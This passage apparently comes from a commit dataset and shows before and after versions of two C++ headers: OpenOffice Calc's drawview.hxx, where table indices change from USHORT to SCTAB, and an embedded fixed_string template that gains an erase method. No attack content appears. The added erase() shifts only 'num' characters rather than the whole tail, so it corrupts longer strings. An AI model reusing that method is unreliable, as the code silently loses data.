1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_DRAWVIEW_HXX\n#define SC_DRAWVIEW_HXX\n\n#ifndef _SVX_FMVIEW_HXX \/\/autogen\n#include <svx\/fmview.hxx>\n#endif\n\n#include \"global.hxx\"\n\nclass ScDocument;\nclass ScViewData;\nclass SdrViewUserMarker;\n\nclass ScDrawView: public FmFormView\n{\n ScViewData* pViewData;\n OutputDevice* pDev; \/\/! noetig ?\n ScDocument* pDoc;\n USHORT nTab;\n Fraction aScaleX; \/\/ Faktor fuer Drawing-MapMode\n Fraction aScaleY;\n SdrViewUserMarker* pDropMarker;\n SdrObject* pDropMarkObj;\n BOOL bInConstruct;\n BOOL bDisableHdl;\n\n void Construct();\n void UpdateBrowser();\n\nprotected:\n virtual void ModelHasChanged();\n virtual void MakeVisible( const Rectangle& rRect, Window& rWin );\n\n \/\/ add custom handles (used by other apps, e.g. AnchorPos)\n virtual void AddCustomHdl();\n\npublic:\n ScDrawView( OutputDevice* pOut, ScViewData* pData );\n ScDrawView( OutputDevice* pOut, ScDocument* pDocument, USHORT nTable );\n virtual ~ScDrawView();\n\n virtual void MarkListHasChanged();\n virtual void SFX_NOTIFY( SfxBroadcaster& rBC, const TypeId& rBCType,\n const SfxHint& rHint, const TypeId& rHintType );\n\n void DrawMarks( OutputDevice* pOut ) const;\n\n void MarkDropObj( SdrObject* pObj );\n\n BOOL IsDisableHdl() const { return bDisableHdl; }\n\n void SetMarkedToLayer( BYTE nLayerNo );\n\n void InvalidateAttribs();\n void InvalidateDrawTextAttrs();\n\n BOOL BeginDrag( Window* pWindow, const Point& rStartPos );\n void DoCut();\n void DoCopy();\n\n void GetScale( Fraction& rFractX, Fraction& rFractY ) const;\n void RecalcScale();\n void UpdateWorkArea();\n USHORT GetTab() const { return nTab; }\n\n void CalcNormScale( Fraction& rFractX, Fraction& rFractY ) const;\n\n \/\/ #110094#-17 Not used\n \/\/ void PaintObject( SdrObject* pObject, OutputDevice* pDev ) const;\n\n void SetAnchor( ScAnchorType );\n ScAnchorType GetAnchor() const;\n\n void VCAddWin( Window* pWin );\n void VCRemoveWin( Window* pWin );\n\n void UpdateIMap( SdrObject* pObj );\n\n USHORT GetPopupMenuId();\n void UpdateUserViewOptions();\n\n void SetMarkedOriginalSize();\n\n BOOL SelectObject( const String& rName );\n String GetSelectedChartName() const;\n BOOL HasMarkedControl() const;\n\n FASTBOOL InsertObjectSafe(SdrObject* pObj, SdrPageView& rPV, ULONG nOptions=0);\n\n SdrEndTextEditKind ScEndTextEdit(); \/\/ ruft SetDrawTextUndo(0)\n};\n\n\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS rowlimit (1.3.28); FILE MERGED 2004\/01\/13 20:04:13 er 1.3.28.1: #i1967# SCCOL,SCROW,SCTAB replace USHORT; SCsCOL,SCsROW,SCsTAB replace short<commit_after>\/*************************************************************************\n *\n * $RCSfile: drawview.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: obo $ $Date: 2004-06-04 11:32:40 $\n *\n * The Contents of this file are made available subject to the terms of\n * either of the following licenses\n *\n * - GNU Lesser General Public License Version 2.1\n * - Sun Industry Standards Source License Version 1.1\n *\n * Sun Microsystems Inc., October, 2000\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2000 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n *\n * Sun Industry Standards Source License Version 1.1\n * =================================================\n * The contents of this file are subject to the Sun Industry Standards\n * Source License Version 1.1 (the \"License\"); You may not use this file\n * except in compliance with the License. You may obtain a copy of the\n * License at http:\/\/www.openoffice.org\/license.html.\n *\n * Software provided under this License is provided on an \"AS IS\" basis,\n * WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,\n * WITHOUT LIMITATION, WARRANTIES THAT THE SOFTWARE IS FREE OF DEFECTS,\n * MERCHANTABLE, FIT FOR A PARTICULAR PURPOSE, OR NON-INFRINGING.\n * See the License for the specific provisions governing your rights and\n * obligations concerning the Software.\n *\n * The Initial Developer of the Original Code is: Sun Microsystems, Inc.\n *\n * Copyright: 2000 by Sun Microsystems, Inc.\n *\n * All Rights Reserved.\n *\n * Contributor(s): _______________________________________\n *\n *\n ************************************************************************\/\n\n#ifndef SC_DRAWVIEW_HXX\n#define SC_DRAWVIEW_HXX\n\n#ifndef _SVX_FMVIEW_HXX \/\/autogen\n#include <svx\/fmview.hxx>\n#endif\n\n#include \"global.hxx\"\n\nclass ScDocument;\nclass ScViewData;\nclass SdrViewUserMarker;\n\nclass ScDrawView: public FmFormView\n{\n ScViewData* pViewData;\n OutputDevice* pDev; \/\/! noetig ?\n ScDocument* pDoc;\n SCTAB nTab;\n Fraction aScaleX; \/\/ Faktor fuer Drawing-MapMode\n Fraction aScaleY;\n SdrViewUserMarker* pDropMarker;\n SdrObject* pDropMarkObj;\n BOOL bInConstruct;\n BOOL bDisableHdl;\n\n void Construct();\n void UpdateBrowser();\n\nprotected:\n virtual void ModelHasChanged();\n virtual void MakeVisible( const Rectangle& rRect, Window& rWin );\n\n \/\/ add custom handles (used by other apps, e.g. AnchorPos)\n virtual void AddCustomHdl();\n\npublic:\n ScDrawView( OutputDevice* pOut, ScViewData* pData );\n ScDrawView( OutputDevice* pOut, ScDocument* pDocument, SCTAB nTable );\n virtual ~ScDrawView();\n\n virtual void MarkListHasChanged();\n virtual void SFX_NOTIFY( SfxBroadcaster& rBC, const TypeId& rBCType,\n const SfxHint& rHint, const TypeId& rHintType );\n\n void DrawMarks( OutputDevice* pOut ) const;\n\n void MarkDropObj( SdrObject* pObj );\n\n BOOL IsDisableHdl() const { return bDisableHdl; }\n\n void SetMarkedToLayer( BYTE nLayerNo );\n\n void InvalidateAttribs();\n void InvalidateDrawTextAttrs();\n\n BOOL BeginDrag( Window* pWindow, const Point& rStartPos );\n void DoCut();\n void DoCopy();\n\n void GetScale( Fraction& rFractX, Fraction& rFractY ) const;\n void RecalcScale();\n void UpdateWorkArea();\n SCTAB GetTab() const { return nTab; }\n\n void CalcNormScale( Fraction& rFractX, Fraction& rFractY ) const;\n\n \/\/ #110094#-17 Not used\n \/\/ void PaintObject( SdrObject* pObject, OutputDevice* pDev ) const;\n\n void SetAnchor( ScAnchorType );\n ScAnchorType GetAnchor() const;\n\n void VCAddWin( Window* pWin );\n void VCRemoveWin( Window* pWin );\n\n void UpdateIMap( SdrObject* pObj );\n\n USHORT GetPopupMenuId();\n void UpdateUserViewOptions();\n\n void SetMarkedOriginalSize();\n\n BOOL SelectObject( const String& rName );\n String GetSelectedChartName() const;\n BOOL HasMarkedControl() const;\n\n FASTBOOL InsertObjectSafe(SdrObject* pObj, SdrPageView& rPV, ULONG nOptions=0);\n\n SdrEndTextEditKind ScEndTextEdit(); \/\/ ruft SetDrawTextUndo(0)\n};\n\n\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\t固定サイズ文字列クラス\r\n @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2017, 2020 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <algorithm>\r\n#include <cstring>\r\n#include <iterator>\r\n#include \"common\/string_utils.hpp\"\r\n\r\nnamespace utils {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief 固定サイズ文字列クラス\r\n\t\t@param[in]\tSIZE\t文字列サイズ\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint32_t SIZE>\r\n\tclass fixed_string {\r\n\t\tuint32_t\tpos_;\r\n\t\tchar\t\tstr_[SIZE + 1];\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief コンストラクタ\r\n\t\t\t@param[in]\tstr\t初期設定文字列\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string(const char* str = nullptr) noexcept : pos_(0) {\r\n\t\t\tif(str != nullptr) {\r\n\t\t\t\tutils::str::strncpy_(str_, str, SIZE);\r\n\t\t\t\tpos_ = std::strlen(str_);\r\n\t\t\t}\r\n\t\t\tstr_[pos_] = 0;\r\n\t\t\tstr_[SIZE] = 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 格納可能な最大サイズを返す(終端の数を除外)\r\n\t\t\t@return 格納可能な最大サイズ\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tuint32_t capacity() const noexcept { return SIZE; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 現在のサイズを返す\r\n\t\t\t@return 現在のサイズ\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tuint32_t size() const noexcept { return pos_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 空か調べる\r\n\t\t\t@return 空の場合「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool empty() const noexcept { return pos_ == 0; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列をクリア(リセット)\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid clear() noexcept {\r\n\t\t\tpos_ = 0;\r\n\t\t\tstr_[pos_] = 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief\t末尾の1要素を削除する。\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid pop_back() noexcept {\r\n\t\t\tif(pos_ > 0) {\r\n\t\t\t\t--pos_;\r\n\t\t\t\tstr_[pos_] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の先頭\r\n\t\t\t@return 配列の先頭\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* begin() const noexcept { return &str_[0]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の先頭\r\n\t\t\t@return 配列の先頭\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar* begin() noexcept { return &str_[0]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の終端\r\n\t\t\t@return 配列の終端\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* end() const noexcept { return &str_[pos_]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の終端\r\n\t\t\t@return 配列の終端\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar* end() noexcept { return &str_[pos_]; }\r\n\r\n\r\n \t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 末尾要素への参照を取得する。\r\n\t\t\t@return 末尾要素への参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar& back() noexcept {\r\n\t\t\tauto pos = pos_;\r\n\t\t\tif(pos > 0) --pos;\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n \t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 末尾要素への参照を取得する。\r\n\t\t\t@return 末尾要素への参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char& back() const noexcept {\r\n\t\t\tauto pos = pos_;\r\n\t\t\tif(pos > 0) --pos;\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列を返す\r\n\t\t\t@return 文字列\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* c_str() const noexcept { return str_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 交換\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid swap(fixed_string& src) noexcept {\r\n\t\t\tstd::swap(src.str_, str_);\r\n\t\t\tstd::swap(src.pos_, pos_);\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 代入\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator = (const char* src) noexcept {\r\n\t\t\tutils::str::strncpy_(str_, src, SIZE);\r\n\t\t\tpos_ = std::strlen(str_);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 代入\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator = (const fixed_string& src) noexcept {\r\n\t\t\tutils::str::strncpy_(str_, src.c_str(), SIZE);\r\n\t\t\tpos_ = src.pos_;\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字を追加\r\n\t\t\t@param[in]\tch\t文字\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator += (char ch) noexcept {\r\n\t\t\tif(pos_ < SIZE) {\r\n\t\t\t\tstr_[pos_] = ch;\r\n\t\t\t\t++pos_;\r\n\t\t\t\tstr_[pos_] = 0;\r\n\t\t\t}\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列を追加\r\n\t\t\t@param[in]\tstr\t文字列\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& operator += (const char* str) noexcept {\r\n\t\t\tif(str == nullptr) {\r\n\t\t\t\treturn *this;\r\n\t\t\t}\r\n\r\n\t\t\tuint32_t l = std::strlen(str);\r\n\t\t\tif((pos_ + l) < SIZE) {\r\n\t\t\t\tstd::strcpy(&str_[pos_], str);\r\n\t\t\t\tpos_ += l;\r\n\t\t\t} else { \/\/ バッファが許す範囲でコピー\r\n\t\t\t\tl = SIZE - pos_;\r\n\t\t\t\tutils::str::strncpy_(&str_[pos_], str, l);\r\n\t\t\t\tpos_ = SIZE;\r\n\t\t\t}\r\n\t\t\tstr_[pos_] = 0; \r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字参照 @n\r\n\t\t\t\t\t※範囲外ではテンポラリを返す(例外を投げない)\r\n\t\t\t@param[in]\tpos\t配列位置\r\n\t\t\t@return 文字\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar& operator [] (uint32_t pos) noexcept {\r\n\t\t\tif(pos >= SIZE) {\r\n\t\t\t\tstatic char tmp = 0;\r\n\t\t\t\treturn tmp;\r\n\t\t\t}\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字参照 const @n\r\n\t\t\t\t\t※範囲外ではテンポラリを返す(例外を投げない)\r\n\t\t\t@param[in]\tpos\t配列位置\r\n\t\t\t@return 文字\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char& operator [] (uint32_t pos) const noexcept {\r\n\t\t\tif(pos >= SIZE) {\r\n\t\t\t\tstatic char tmp = 0;\r\n\t\t\t\treturn tmp;\r\n\t\t\t}\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス一致比較\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tint cmp(const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str());\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator == (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) == 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス、不一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t文字列クラス\r\n\t\t\t@return 同じなら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator != (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) != 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス大小比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 大小なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator > (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) > 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス小大比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 小大なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator < (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) < 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス大小一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列\r\n\t\t\t@return 大小一致なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator >= (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) >= 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief クラス小大一致比較(オペレーター)\r\n\t\t\t@param[in]\tth\t\t文字列クラス\r\n\t\t\t@return 小大一致なら「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool operator <= (const fixed_string& th) const noexcept {\r\n\t\t\treturn std::strcmp(c_str(), th.c_str()) <= 0;\r\n\t\t}\r\n\t};\r\n\r\n\ttypedef fixed_string<16> STR16;\r\n\ttypedef fixed_string<32> STR32;\r\n\ttypedef fixed_string<64> STR64;\r\n\ttypedef fixed_string<128> STR128;\r\n\ttypedef fixed_string<256> STR256;\r\n}\r\n<commit_msg>Update: add erase api<commit_after>#pragma once\r\n\/\/=====================================================================\/\/\r\n\/*!\t@file\r\n\t@brief\t固定サイズ文字列クラス\r\n @author 平松邦仁 (hira@rvf-rc45.net)\r\n\t@copyright\tCopyright (C) 2017, 2020 Kunihito Hiramatsu @n\r\n\t\t\t\tReleased under the MIT license @n\r\n\t\t\t\thttps:\/\/github.com\/hirakuni45\/RX\/blob\/master\/LICENSE\r\n*\/\r\n\/\/=====================================================================\/\/\r\n#include <algorithm>\r\n#include <cstring>\r\n#include <iterator>\r\n#include \"common\/string_utils.hpp\"\r\n\r\nnamespace utils {\r\n\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\t\/*!\r\n\t\t@brief 固定サイズ文字列クラス\r\n\t\t@param[in]\tSIZE\t文字列サイズ\r\n\t*\/\r\n\t\/\/+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\/\/\r\n\ttemplate <uint32_t SIZE>\r\n\tclass fixed_string {\r\n\t\tuint32_t\tpos_;\r\n\t\tchar\t\tstr_[SIZE + 1];\r\n\r\n\tpublic:\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief コンストラクタ\r\n\t\t\t@param[in]\tstr\t初期設定文字列\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string(const char* str = nullptr) noexcept : pos_(0) {\r\n\t\t\tif(str != nullptr) {\r\n\t\t\t\tutils::str::strncpy_(str_, str, SIZE);\r\n\t\t\t\tpos_ = std::strlen(str_);\r\n\t\t\t}\r\n\t\t\tstr_[pos_] = 0;\r\n\t\t\tstr_[SIZE] = 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 格納可能な最大サイズを返す(終端の数を除外)\r\n\t\t\t@return 格納可能な最大サイズ\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tuint32_t capacity() const noexcept { return SIZE; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 現在のサイズを返す\r\n\t\t\t@return 現在のサイズ\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tuint32_t size() const noexcept { return pos_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 空か調べる\r\n\t\t\t@return 空の場合「true」\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tbool empty() const noexcept { return pos_ == 0; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列をクリア(リセット)\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid clear() noexcept {\r\n\t\t\tpos_ = 0;\r\n\t\t\tstr_[pos_] = 0;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief\t末尾の1要素を削除する。\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid pop_back() noexcept {\r\n\t\t\tif(pos_ > 0) {\r\n\t\t\t\t--pos_;\r\n\t\t\t\tstr_[pos_] = 0;\r\n\t\t\t}\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief\t要素を削除する。\r\n\t\t\t@param[in] org\t先頭位置\r\n\t\t\t@param[in] num\t個数\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tfixed_string& erase(uint32_t org, uint32_t num) noexcept {\r\n\t\t\tif(org < pos_ && (org + num) <= pos_) {\r\n\t\t\t\tfor(auto i = org; i < (org + num); ++i) {\r\n\t\t\t\t\tstr_[i] = str_[i + num];\r\n\t\t\t\t}\r\n\t\t\t\tpos_ -= num;\r\n\t\t\t\tstr_[pos_] = 0;\r\n\t\t\t}\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の先頭\r\n\t\t\t@return 配列の先頭\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* begin() const noexcept { return &str_[0]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の先頭\r\n\t\t\t@return 配列の先頭\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar* begin() noexcept { return &str_[0]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の終端\r\n\t\t\t@return 配列の終端\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* end() const noexcept { return &str_[pos_]; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 配列の終端\r\n\t\t\t@return 配列の終端\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar* end() noexcept { return &str_[pos_]; }\r\n\r\n\r\n \t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 末尾要素への参照を取得する。\r\n\t\t\t@return 末尾要素への参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tchar& back() noexcept {\r\n\t\t\tauto pos = pos_;\r\n\t\t\tif(pos > 0) --pos;\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n \t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 末尾要素への参照を取得する。\r\n\t\t\t@return 末尾要素への参照\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char& back() const noexcept {\r\n\t\t\tauto pos = pos_;\r\n\t\t\tif(pos > 0) --pos;\r\n\t\t\treturn str_[pos];\r\n\t\t}\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 文字列を返す\r\n\t\t\t@return 文字列\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tconst char* c_str() const noexcept { return str_; }\r\n\r\n\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\t\/*!\r\n\t\t\t@brief 交換\r\n\t\t\t@param[in]\tsrc\tソース\r\n\t\t\t@return 自分\r\n\t\t*\/\r\n\t\t\/\/-----------------------------------------------------------------\/\/\r\n\t\tvoid 